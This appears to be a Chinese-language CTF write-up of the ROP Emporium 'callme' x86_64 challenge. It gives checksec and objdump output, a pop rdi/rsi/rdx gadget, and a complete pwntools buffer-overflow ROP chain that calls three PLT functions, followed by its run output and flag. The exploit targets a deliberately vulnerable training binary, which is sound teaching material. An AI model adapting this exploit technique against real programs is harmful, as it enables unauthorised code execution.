题目简述#

虽然同样是调用plt形式的函数，但相比于上一道题，这道题需要按照顺序调用3个函数，并且还贴心地告诉你了参数。只不过要注意，正如题目提示， **x86_64 二进制文件，**需要将这些值加倍

这道题还有另一个解法，甚至是能拿到shell权限，虽然是题目描述也提到了，不过在做了pivot后再回来看这种感觉就很明显了，这个后面会更新

那我们开始吧

解题流程#

工具#

pwntools

~~好像都用不上啥工具呢~~

检查二进制文件权限#

指令和结果放在一起看吧

1
pwn checksec ./callme
2
[*] '/home/jerry/leeshang/ROP Emporium/callme/callme'
3
    Arch:     amd64-64-little
4
    RELRO:    Partial RELRO
5
    Stack:    No canary found
6
    NX:       NX enabled
7
    PIE:      No PIE (0x400000)
8
    RUNPATH:  b'.'

~~象征性地看一看~~

查反汇编，确定函数地址，找gadgets#

多个函数，相似的函数名，查反汇编应该会更直接

1
objdump -d -M intel ./callme

找到：

1
0000000000400720 <callme_one@plt>
2
0000000000400740 <callme_two@plt>
3
00000000004006f0 <callme_three@plt>

方便看就只把地址挂出来了，顺便看一眼usefulGadgets

1
000000000040093c <usefulGadgets>:
2
  40093c:       5f                      pop    rdi
3
  40093d:       5e                      pop    rsi
4
  40093e:       5a                      pop    rdx
5
  40093f:       c3                      ret

连续拿栈上数据放到三个寄存器，这不正是我们要找的么？

三个函数，按顺序来调用，每个都用gadget整上三个固定参数，没了

万事俱备，思路也明朗了，那么接下来

构造exp脚本#

比较长，payload分成三段(每个函数一段)来加会更好看一些

于是乎就长这样：

1
from pwn import *
2

3
p = process('./callme')
4
p.recv()
5

6
gadget_pop3 = 0x40093c
7
callme_one = 0x400720
8
callme_two = 0x400740
9
callme_three = 0x4006f0
10

11
args = p64(0xdeadbeefdeadbeef) + p64(0xcafebabecafebabe) + p64(0xd00df00dd00df00d)
12

13
payload = b'A' * 40
14
payload += p64(gadget_pop3) + args + p64(callme_one)
15
payload += p64(gadget_pop3) + args + p64(callme_two)
16
payload += p64(gadget_pop3) + args + p64(callme_three)
17

18
p.sendline(payload)
19
p.interactive()

依旧跑一下

1
[+] Starting local process './callme': pid 8801
2
[*] Switching to interactive mode
3
[*] Process './callme' stopped with exit code 0 (pid 8801)
4
Thank you!
5
callme_one() called correctly
6
callme_two() called correctly
7
ROPE{a_placeholder_32byte_flag!}
8
[*] Got EOF while reading in interactive
9
$

correct

~~怎么感觉一下就没了~~

总结#

这道题的不同点就在于需要连续调用三个函数，且每个函数的三个参数都需要精准放入对应寄存器，但其实并不难
记住每次调用前都要重新准备 RDI/RSI/RDX，这也是为了参数的稳定性，是必要的
这种本地题目，本人在做题过程中犯了非技术性错误——没把libcallme.so一起放入目录。程序可能因为缺少 libcallme.so 根本起不来，而并不一定是 payload 的锅，当前工作目录也会影响动态库加载，脚本也应该放在同一目录下运行才行。也希望大家做题时多多注意题目环境